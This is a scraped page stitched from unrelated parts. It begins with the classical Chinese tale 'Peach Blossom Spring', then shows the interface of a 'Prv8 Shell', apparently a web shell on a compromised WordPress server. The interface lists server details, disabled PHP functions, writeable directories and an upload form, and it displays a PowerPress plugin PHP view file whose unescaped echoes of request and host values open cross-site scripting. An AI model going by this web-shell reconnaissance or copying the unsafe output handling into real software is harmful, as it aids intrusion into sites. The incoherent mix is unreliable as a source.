晋太元中,武陵人捕鱼为业。缘溪行,忘路之远近。忽逢桃花林,夹岸数百步,中无杂树,芳草鲜美,落英缤纷。渔人甚异之,复前行,欲穷其林。   林尽水源,便得一山,山有小口,仿佛若有光。便舍船,从口入。初极狭,才通人。复行数十步,豁然开朗。土地平旷,屋舍俨然,有良田、美池、桑竹之属。阡陌交通,鸡犬相闻。其中往来种作,男女衣着,悉如外人。黄发垂髫,并怡然自乐。   见渔人,乃大惊,问所从来。具答之。便要还家,设酒杀鸡作食。村中闻有此人,咸来问讯。自云先世避秦时乱,率妻子邑人来此绝境,不复出焉,遂与外人间隔。问今是何世,乃不知有汉,无论魏晋。此人一一为具言所闻,皆叹惋。余人各复延至其家,皆出酒食。停数日,辞去。此中人语云:“不足为外人道也。”(间隔 一作:隔绝)   既出,得其船,便扶向路,处处志之。及郡下,诣太守,说如此。太守即遣人随其往,寻向所志,遂迷,不复得路。   南阳刘子骥,高尚士也,闻之,欣然规往。未果,寻病终。后遂无问津者。 .
Prv8 Shell
Server : Apache
System : Linux srv.rainic.com 4.18.0-553.47.1.el8_10.x86_64 #1 SMP Wed Apr 2 05:45:37 EDT 2025 x86_64
User : rainic ( 1014)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
Directory :  /home/stando/public_html/wp-content/plugins/powerpress/shortcodes/views/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //home/stando/public_html/wp-content/plugins/powerpress/shortcodes/views/program.php
<?php

wp_register_style('namespace', '../css/style.css');
wp_enqueue_style('namespace');

$path = plugin_dir_path(dirname(__FILE__));
$id = get_query_var('episode_id');
$pagename = get_query_var('pagename');
?>

<head>
    <link href="https://assets2.blubrry.com/css/blubrryicons.css" rel="stylesheet" type="text/css"/>
    <link href="https://assets2.blubrry.com/tests/colorbox.css" rel="stylesheet" type="text/css"/>
    <link href="https://assets2.blubrry.com/css/ekko-lightbox.css" rel="stylesheet" type="text/css"/>
    <link href="https://assets2.blubrry.com/css/ekko-lightbox.min.css" rel="stylesheet" type="text/css"/>
    <link href="https://assets2.blubrry.com/css/blubrryicons.css" rel="stylesheet" type="text/css"/>
    <link href="<?php if (isset($_SERVER['HTTPS'])) {
        echo 'https://' . $_SERVER['SERVER_NAME'] . '/wp-content/plugins/powerpress-directory/js/mediaelement/build/mediaelementplayer.min.css';
    } else {
        echo 'http://' . $_SERVER['SERVER_NAME'] . '/wp-content/plugins/powerpress-directory/js/mediaelement/build/mediaelementplayer.min.css';
    } ?>" rel="stylesheet" type="text/css"/>

    <script src="https://assets2.blubrry.com/js/ekko-lightbox.js"></script>
    <script src="https://assets2.blubrry.com/js/ekko-lightbox.min.js"></script>
    <script src="https://assets2.blubrry.com/js/jquery.colorbox.js"></script>
    <script src="https://assets2.blubrry.com/js/jquery.colorbox-min.js"></script>
    <script src="<?php if (isset($_SERVER['HTTPS'])) {
        echo 'https://' . $_SERVER['SERVER_NAME'] . '/wp-content/plugins/powerpress-directory/js/mediaelement/build/mediaelement-and-player.js';
    } else {
        echo 'http://' . $_SERVER['SERVER_NAME'] . '/wp-content/plugins/powerpress-directory/js/mediaelement/build/mediaelement-and-player.js';
    } ?>"></script>
    <meta charset="utf-8">
</head>
<div>
    <h3><?php echo esc_html($props[0]->program_title); ?> </h3>
</div>
<div class="program-container">
    <div class="jumbotron">
        <div class="grid-container">
            <div class="item1"></div>
            <div class="item3"></div>
            <div class="coverart">
                <img class="coverart"
                     src="<?php if (isset($props[0]->program_header_image)) {
                         echo("https://assets.blubrry.com/coverart/300/{$props[0]->program_id}.jpg");
                     } else {
                         echo("https://www.blubrry.com/themes/blubrry3/images/cover.png");
                     } ?>"
                >
            </div>
            <div class="share-icons display-inline-block">
                <a id="subscribe" href="" class="text-decoration-none" data-toggle="lightbox" data-title="Subscribe" data-gallery="remove-load" data-width="1200">
                    <i id="subscribe" class="blubrry-icon bicon-rss ppn-subscribe-style" ></i>
                    <p class="subshare">Subscribe</p>
                </a>
                <a id="share" href="<?php echo $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI'] . $_SERVER['QUERY_STRING'] ?>" class="text-decoration-none" data-toggle="lightbox" data-title="Share" data-gallery="remove-load" data-width="1200">
                    <i class="blubrry-icon bicon-share ppn-share-style" onclick="SetShareOptions(<?php echo $props[0]->program_rssurl; ?>,<?php echo $props[0]->program_title; ?>)"></i>
                    <p class="subshare">Share</p>
                </a>
            </div>
        </div>
    </div>

    <div class="description bold">
        <p class="ppn-margin-bottom"><?php echo esc_html($props[0]->program_desc); ?></p>
        <a class="ppn-claim-style" id="claim" href="https://www.blubrry.com" data-toggle="lightbox" data-title="Claim" data-gallery="remove-load" data-width="1200">Claim This Show</a>
    </div>

    <?php if (!get_query_var('episode_id', false)) { ?>
        <div class="podcast-filename">
            <audio id="audio" controls preload="none" class="audio-tag-filename">
                <source src="<?php echo esc_html($props[0]->podcast_filename); ?>">
            </audio>
        </div>

        <ul id="playlist">
            <?php for ($i = 10; $i > 0; $i--) {
                ?>
                <li class="list-group-item entry well z-depth-1">
                    <div class="playbuttoncontainer">
                        <a href="<?php echo($props[$i]->podcast_filename); ?>">
                            <img class="playbutton" src="<?php if (isset($_SERVER['HTTPS'])) {
                                echo 'https://' . $_SERVER['SERVER_NAME'] . '/wp-content/plugins/powerpress-directory/images/ShowPageRedesignPlayButton.png';
                            } else {
                                echo 'http://' . $_SERVER['SERVER_NAME'] . '/wp-content/plugins/powerpress-directory/images/ShowPageRedesignPlayButton.png';
                            } ?>"
                        </a>
                    </div>
                    <a href="/<?php echo $props[0]->keyword; ?>/episode<?php echo $props[$i]->podcast_no; ?>"
                       title="<?php echo esc_html($props[$i]->podcast_title); ?>">
                        <?php echo(esc_html($props[$i]->podcast_title)); ?>
                    </a>
                    <p class="subtitle"><?php echo esc_html($props[$i]->podcast_subtitle); ?></p>
                </li>
            <?php } ?>
        </ul>
    <?php } else {
        foreach ($props as $ep => $x) {
            if ($x->podcast_no == $id) { ?>
                <div class="podcast-filename">
                    <audio id="audio" controls preload="none" class="audio-tag-filename">
                        <source src="<?php echo esc_html($x->podcast_filename); ?>">
                    </audio>
                </div>
                <div>
                    <h4><?php echo esc_html($x->podcast_title); ?></h4>
                    <audio controls class="display-inline">
                        <source src="<?php echo esc_html($x->podcast_filename); ?>">
                    </audio>
                    <p class="podcast-summary-paragraph"><?php echo nl2br($x->podcast_summary); ?></p>
                </div>
                <?php
            }
        }
    } ?>
</div>
<script>
    var audio;
    var playlist;
    var tracks;
    var current;

    init();

    function init() {
        current = 0;
        audio = $('#audio');
        playlist = $('#playlist');
        tracks = playlist.find('li div a');
        len = tracks.length - 1;
        audio[0].volume = 0.5;
        playlist.find('div a').click(function (e) {
            e.preventDefault();
            link = $(this);
            current = link.parent().index();
            run(link, audio[0]);
        });
        audio[0].addEventListener('ended', function (e) {
            current++;
            if (current == len) {
                current = 0;
                link = playlist.find('a')[0];
            } else {
                link = playlist.find('a')[current];
            }
            run($(link), audio[0]);
        });

    }

    function run(link, player) {
        playlist = $('#playlist');
        player.src = link.attr('href');
        par = link.parent();
        console.log(par);
        console.log(par.parent());

        active = document.getElementsByClassName('active');
        var elems = document.querySelectorAll(".active");

        [].forEach.call(elems, function (el) {
            el.classList.remove("active");
        });

        par.addClass('active');
        par.parent().addClass('active');
        audio[0].load();
        audio[0].play();
    }

    function SetShareOptions(url, title) {
        var msg = encodeURIComponent(title + ' ' + url);
        var siteTitle = document.title.substring(0, document.title.indexOf(' -'));
        var html = '<h4 style="margin-left: 10px;">Share This Podcast</h4>';
        html += '<div class="share-popup">';
        html += '<ul style="list-style: none;">';
        html += '<li style="font-weight: normal;\n' +
            '\tmargin: 0 10px;\n' +
            '\theight: 28px;\n' +
            '\twidth: 130px;\n' +
            '\tfont-size: 16px;"><a style="" href="http://twitter.com/home?status=' + msg + '" class="twitter" title="Twitter" target="_blank">Twitter</a></li>';

        html += '<li style="font-weight: normal;\n' +
            '\tmargin: 0 10px;\n' +
            '\theight: 28px;\n' +
            '\twidth: 130px;\n' +
            '\tfont-size: 16px;"><a style="" href="http://www.facebook.com/share.php?u=' + encodeURIComponent(url) + '&amp;t=' + encodeURIComponent(title) + '" class="facebook" title="Facebook" target="_blank">Facebook</a></li>';

        html += '<li style="font-weight: normal;\n' +
            '\tmargin: 0 10px;\n' +
            '\theight: 28px;\n' +
            '\twidth: 130px;\n' +
            '\tfont-size: 16px;"><a style="" href="http://www.linkedin.com/shareArticle?mini=true&url=' + encodeURIComponent(url) + '&amp;title=' + encodeURIComponent(title) + '&amp;source=' + encodeURIComponent(siteTitle) + '" class="linkedin" title="LinkedIn" target="_blank">LinkedIn</a></li>';

        html += '<li style="font-weight: normal;\n' +
            '\tmargin: 0 10px;\n' +
            '\theight: 28px;\n' +
            '\twidth: 130px;\n' +
            '\tfont-size: 16px;"><a style="" href="mailto:?subject=' + encodeURIComponent(title) + '&amp;body=' + encodeURIComponent('Link: ' + url) + '" class="email" title="Email" target="_blank">Email</a></li>';

        html += '</ul>';
        html += '</div>';
        return html;
    }

    function SetSubscribeOptions(url) {
        var html = "<h4 style='text-align: center'> Subscribe To This Podcast </h4>";
        html += "<div class='pp-sub-buttons'>";
        html += "<a href= <?php echo("'" . $props[0]->program_itunesurl . "'"); ?>  class=\"pp-sub-button pp-sub-itunes\" title=\"Subscribe on iTunes\"><span class=\"pp-sub-img\"></span>Subscribe on iTunes</a>";
        html += "<br/>";
        html += "<a href=\"" + "https://subscribeonandroid.com/" + url + "\" class=\"pp-sub-button pp-sub-android\" title=\"Subscribe on Android\"><span class=\"pp-sub-img\"></span>Subscribe on Android</a>";
        html += "<br/>";
        html += "<a href=\"" + "https://subscribebyemail.com/" + url + "\" class=\"pp-sub-button pp-sub-email\" title=\"Subscribe by Email\"><span class=\"pp-sub-img\"></span>Subscribe by Email</a>";
        html += "<br/>";
        html += "<a href=\"" + url + "\" class=\"pp-sub-button pp-sub-mycast\" title=\"Subscribe by Email\"><span class=\"pp-sub-img\"></span>Add To MyCast</a>";
        html += "</div>";

        return html;
    }

    jQuery('a#share').colorbox({
        html: SetShareOptions(<?php echo "'" . $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI'] . $_SERVER['QUERY_STRING'] . $props[0]->program_title . "'"; ?>,<?php echo "'" . $props[0]->program_title . "'";?>),
        width: "50%",
        height: "50%"
    });
    jQuery('a#subscribe').colorbox({
        html: SetSubscribeOptions(<?php echo "'" . $props['program_rssurl'] . "'"?>),
        width: 500,
        height: 500
    });
    jQuery('a#claim').colorbox({
        html: '<p><?php echo($html);?></p>', //TODO: See if this variable is correst
        width: 500,
        height: 500
    });

    $('video, audio').mediaelementplayer({
        // Do not forget to put a final slash (/)
        pluginPath: '<?php echo dirname(dirname(__FILE__));?>/js/mediaelement/',
        // this will allow the CDN to use Flash without restrictions
        // (by default, this is set as `sameDomain`)
        shimScriptAccess: 'always'
        // more configuration
    });
</script>

haha - 2025